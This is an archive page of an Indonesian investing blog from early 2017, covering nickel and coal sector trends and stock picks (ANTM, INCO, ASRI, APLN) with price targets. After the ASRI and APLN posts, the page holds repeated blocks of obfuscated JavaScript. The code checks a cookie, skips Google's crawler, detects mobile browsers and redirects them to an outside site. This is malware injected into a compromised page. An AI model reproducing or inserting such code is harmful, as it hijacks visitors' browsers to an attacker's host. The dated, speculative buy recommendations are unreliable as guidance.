Category archive

Analisa Fundamental - page 2

Trend Mineral Nikel Tahun 2017

Harga Nikel dunia dalam sepekan terakhir menguat terus dengan harga berjalan $10,232.50.

Berikut Chart Nickel setahun terakhir :


source: tradingeconomics.com

Seperti yang terlihat di chart harga Nikel dunia sudah mulai mengalami penguatan dari tahun 2016 – 2017 awal tahun ini. Penyebab nya adalah dari salah satu negara produsen terbesar nikel yaitu Filipina yang membuat kebijakan untuk menutup sejumlah tambang nikel guna meningkatkan harga nikel dunia.

Filipina yang menjadi raja dari produsen nikel ini mampu memproduksi nikel sebanyak 530.000 Ton per tahun nya di mana Filipina menyumbangkan 25% produksi nikel dunia. Di susul oleh Rusia di mana mampu memproduksi 240.000 Ton per tahun nya dan di susul oleh Kanada yang kurang lebih dapat memproduksi nikel sebanyak 240.000 Ton per tahun nya. Dan Indonesia menempati urutan ke 6 sebagai produsen Nikel sebanyak 170.000 Ton per tahun nya yang di mana lebih sedikit di banding Australia dan New Caledonia di posisi 4 dan 5.

Grafik produksi Nikel Filipina selama 10 tahun terakhir , Sumber : Statista.com

Total tambang yang sudah di tutup itu sudah mencapai 23 tambang dengan perencanaan akan menutup total 30 tambang Nikel, 18 di antara nya adalah produsen terbanyak untuk pasokan nikel dalam negeri Filipina. Kebijakan ini di buat untuk menaikan harga jual Nikel dan mencegah terjadi nya oversuply.

Di Indonesia sendiri pemerintah telah membuat kebijakan untuk mewajibkan perusahaan produsen Nikel untuk membangun smelter guna meningkatkan kualitas Nikel sehingga mempunyai daya saing lebih bagus di pasar global.

Salah satu perusahaan penambang nikel yang akan di untungkan adalah PT.Aneka Tambang (Persero) Tbk dimana pada tahun 2016 berhasil mencatatkan produksi feronikel yang naik 18 persen menjadi 20.293 ton nikel dan mencatatkan penjualan feronikel yang meningkat 12 persen menjadi sebesar 20.888 TNi dibanding periode yang sama tahun sebelumnya.

PT Aneka Tambang (Persero) Tbk juga tengah memfinalisasi untuk persiapan proyek-proyek hilirisasi.Persiapkan proyek-proyek yang di lakukan adalah pembangunan feronikel line 2 dan 3, untuk meningkatkan nilai tambah melalui hilirisasi baik dengan skema pendanaan internal atau pun kerja sama dengan mitra strategis.

PT Aneka Tambang (Persero) Tbk sudah melakukan hilirisasi mineral sejak 1974 melalui pengoperasian pabrik feronikel FeNi I. Saat ini, perseroan tengah membangun pabrik feronikel Haltim yang pendanaannya berasal dari penyertaan modal negara (PMN). Selain pabrik feronikel, pendapatan dari ekspor tersebut juga akan digunakan untuk merampungkan proyek peleburan bijih nikel kadar rendah (blast furnace) di lokasi yang sama. Pabrik ini dibangun sebagai antisipasi jika pelaksanaan ekspor ini telah berakhir. Apalagi, pemerintah hanya memperbolehkan periode ekspor nikel kadar rendah selama lima tahun saja.

Sebagai informasi, ketentuan ekspor nikel dengan kadar di bawah 1,7 persen ini dimuat di dalam pasal 4 Peraturan Menteri ESDM Nomor 6 Tahun 2017. Peraturan ini merupakan turunan dari PP Nomor 1 Tahun 2017 Atas Perubahan Keempat PP Nomor 23 Tahun 2010 Tentang Pelaksanaan Kegiatan Usaha Pertambangan Mineral dan Batubara.

Salah satu negara ekspor yang menjadi incaran pasar ANTM adalah China dan Eropa. Pembukaan ekspor nikel kadar di bawah 1,7 persen ini dianggap akan mendongkrak penjualan ANTM untuk ke depan nya. Serta dukungan dari trend Global Nikel di mana kebijakan dari Filipina untuk menaikan harga nikel akan menguntungkan untuk ANTM.

Berikut Chart Emiten PT Aneka Tambang (Persero) Tbk dengan kode ANTM :

seperti yang kita lihat dari chart ANTM sudah mencapai titik support di harga 800, terlihat dari chart yang ada juga bahwa volume tekanan jual dari ANTM sudah mulai menipis. Rekomendasi adalah Buy on Support di harga 805-810 dengan Resistance di harga 860. Disclaimer on.

dan Begitu juga hal nya dengan INCO juga sangat menarik untuk di perhatikan, berikut chart nya :

INCO juga sudah mendekati titik support di level 2600, untuk rekomendasi Buy On Support di harga 2630-2640 dengan Resistance 2840 di mana ada GAP antara 2840 – 2920. Disclaimer on.

Untuk Fundamental laporan keuangan kedua Emiten ini akan saya update di postingan berikutnya, stay tuned. Salam PROFITS.

Update Sektor Batubara Pasca Pelantikan Presiden Trump

Sektor Batubara akhir ini cukup menarik untuk di perhatikan, seiring pasca pelantikan presiden baru Donald Trump yang akan mencabut larangan Green Energy di prediksi kan akan memberikan dampak positif bagi sektor batubara.

Berikut Chart dari Batubara :

 
source: tradingeconomics.com

Harga Batubara penutupan kemarin mengalami kenaikan sebesar +0.42% yaitu di harga 83.80 USD/MT dan di perkirakan akan naik lagi di kisaran harga 85.70 USD/MT melihat sentiment positif yang ada bagi sektor batubara.

Katalis yang mendorong sektor Batubara kedepan nya :
1. Kebijakan Presiden Donald Trump yang melihat dengan pencabutan larangan untuk sektor batubara akan memberikan tambahan devisa negara dengan hasil ekspor dari cadangan batubara di negara Paman Sam tersebut yang melimpah.
2. Kebutuhan akan Energi untuk Pembangkit Listrik akan bertambah di mana pemakaian Batubara untuk Pembangkit Listrik di Amerika adalah:

Coal = 33%
Natural gas = 33%
Nuclear = 20%
Hydropower = 6%
Other renewables = 7%
Biomass = 1.6%
Geothermal = 0.4%
Solar = 0.6%
Wind = 4.7%
Petroleum = 1%
Other gases = <1%.

sedangkan di Indonesia dari Proyek 35 Gigawatt , 20 Gigawatt itu memakai PLTU.

Nantikan update berikut nya di postingan berikut nya. Salam PROFITS !!

Alam Sutera Realty Tbk 

Dari chart diatas, kita bisa melihat adanya pattern Inverted Head and Shoulder, yang menandakan bottoming phase dari sebuah saham. 

Lantas pertanyaannya “ini udah breakout ke 400an kemarin-kemarin masih 370, masih boleh masuk emang?” Nah, menurut kami, justru now is the time to enter the stock precisely because it has already broke out the line of least resistant! Tetapi hal yang perlu diingat tentunya adalah risk management, don’t put all of your money on a single entry, dengan range entry di 396 – 402, dan range stop loss di 386 – 376. Dan Target: 460 – 480.

Saham ASRI adalah salah satu saham pada sektor property yang sangat menarik secara valuasi, dikarenakan saham ini di trading pada ratio PE 6.58x yang secara historis cukup rendah yang menandakan valuasi yang murah, dan juga secara sektoral, sektor property adalah sektor yang diperkirakan akan outperform pada tahun 2017 ini.

Berdasarkan data diatas, bisa kita lihat kalau ASRI memiliki hutang yang cukup besar dalam denominasi US Dollar, oleh karena itu, pergerakan USDIDR menjadi katalis tersendiri untuk saham ASRI, karena laba/rugi kurs akan sangat mempengaruhi net profit ASRI. Dengan analisa sensibilitas sederhana bisa disimpulkan setiap pergerakan 100 poin USDIDR bisa mempengaruhi EPS ASRI sebesar Rp 2.3 (EPS ASRI meningkat jika Rupiah menguat)

Sampai sekarang, untuk pergerakan USDIDR sendiri masih cukup positive, yang dapat dilihat dari pergerakan USDIDR pasca Donald Trump memenangkan US Election, dan juga Capital Flow yang semulanya sempat terjadi capital outflow yang ikut berdampak pada Forex Reserve Indonesia yang menurun, yang kemudian dalam sebulan, Forex Reserve Indonesia malah mencatatkan kenaikan di 116 Milyar USD

So, I believe ASRI provide good opportunity with a very good technical and quite an interesting valuation.

NB: Ketika IHSG rebound after subprime mortgage crisis pada tahun 2009, pattern di bottom IHSG juga membentuk Inverted Head and Shoulder var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Agung Podomoro Land Tbk

Sebagai warga Kota Medan, I can’t help but be amazed mendadak aja uda ada gedung-gedung yang menjulang tinggi di daerah Sinar Menara Deli. What a sight! And I’m excited of what it will become once it finished its construction.
Setelah beberapa tahun yang lesu di pasar property Indonesia, saya percaya tahun ini kita memiliki alasan untuk optimis terhadap sektor property di Indonesia.

Pada kesempatan kali ini, saya ingin membahas mengenai perusahaan yang mengembangkan Superblock pertama di Kota Medan ini, yaitu PT Agung Podomoro land Tbk, and why I think it is a good purchase at this price point.

Dari chart diatas kita bisa melihat kalau high APLN terjadi pada bulan January 2015, atau sekitar 2 tahun yang lalu, dan setelahnya terjadi downtrend yang cukup panjang sesuai dengan lesunya sektor property dan khususnya dikarenakan kasus reklamasi lahan yang membelit perusahaan, tetapi sebagai kota kosmopolitan, Jakarta memang sudah sepantasnya melakukan reklamasi, karena hal ini akan berdampak baik untuk Jakarta baik dari segi populasi, estetika, maupun devisa.

Salah satu hal terpenting untuk dipertimbangkan adalah banjir Jakarta juga dapat ditanggulangi dengan reklamasi, karena berdasarkan hasil penelitian Badan Penanggulangan Bencana Daerah (BPBD), penurunan muka tanah di Jakarta mencapai 18 centimeter per tahun, jika kita berkaca dari Negara Singapura, sebelum memulai reklamasi, wilayah Singapura justru mengalami banjir layaknya Jakarta. “Namun sejak saat itu hingga kini, Singapura dapat dikatakan bebas dari bencana banjir. Di samping itu, teknologi reklamasi yang mereka lakukan dapat menjamin tidak terjadi banjir,” demikian seperti dikutip CNNIndonesia.com

Earnings

Dari Income Statement diatas, bisa disimpulkan bahwa kinerja APLN tidak mengalami penurunan yang signifikan meskipun secara harga, sudah terdiscount lebih dari 50% (what are you waiting for dudes?) malah secara penjualan (top-line) APLN mengalami kenaikan secara konsisten. Earning goes up while price goes down? Sounds like music to me, what about you? 🙂

Earning Composition
Shareholder Information

Projects

PT Agung Podomoro land memiliki project yang tersebar di 4 pulau besar di seluruh Indonesia, sedangkan penurunan harga terjadi mostly karena political issue mengenai kasus reklamasi, yang notebene hanyalah 1 dari sekian banyak project yang dimiliki oleh APLN:

APLN Projects

Secara valuasi, APLN saat ini berada di harga 224, sedangkan perusahaan mencatatkan nilai buku sebesar 353 per saham, jadi saat ini ratio P/BV perusahaan adalah 0.6x

Tax Amnesty 

APLN merupakan salah satu perusahaan yang diuntungkan dengan adanya tax amnesty, hal ini dikarenakan perusahaan merupakan developer dengan target market middle-high, dimana dana deklarasi dan repatriasi mayoritas akan menyasar ke sektor property, hal ini menjadikan APLN sebagai salah satu instrument yang dicari oleh para investor pasca tax amnesty.

I think it is a very reasonable purchase at the moment,  as tax amnesty will make its impact this year,
yang menjadikan perusahaan ini sebagai emiten yang masih memiliki valuasi murah dengan katalis yang kuat untuk pendapatan yang lebih besar.

Shares Information

Current Price: 226
EPS (TTM): 45
P/E: 5x
BV: 353
P/BV: 0.6x
ROA: 4.6%
ROE: 12.8%

Technical Analysis

Saat ini APLN berada di level 226 dan sedang dalam masa konsolidasi, diperkirakan bisa mengalami penguatan/rally jika menembus level resistant di 232.

 

Frankie,
Medan 17th jan 2017
In my cozy office 😀

 

 

Disclaimer:
Tulisan ini dibuat hanya sebagai penambah pengetahuan dan bukan sebagai wahana untuk pembuatan keputusan investasi, penulis dibebaskan dari segala keuntungan maupun kerugian dari transaksi yang dilakukan berdasarkan informasi ini

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Prospek Sektor Batubara 2017

Perlu kita ketahui Indonesia termasuk salah satu dari 5 negara produsen batubara terbanyak di Dunia, terlihat dari data berikut :

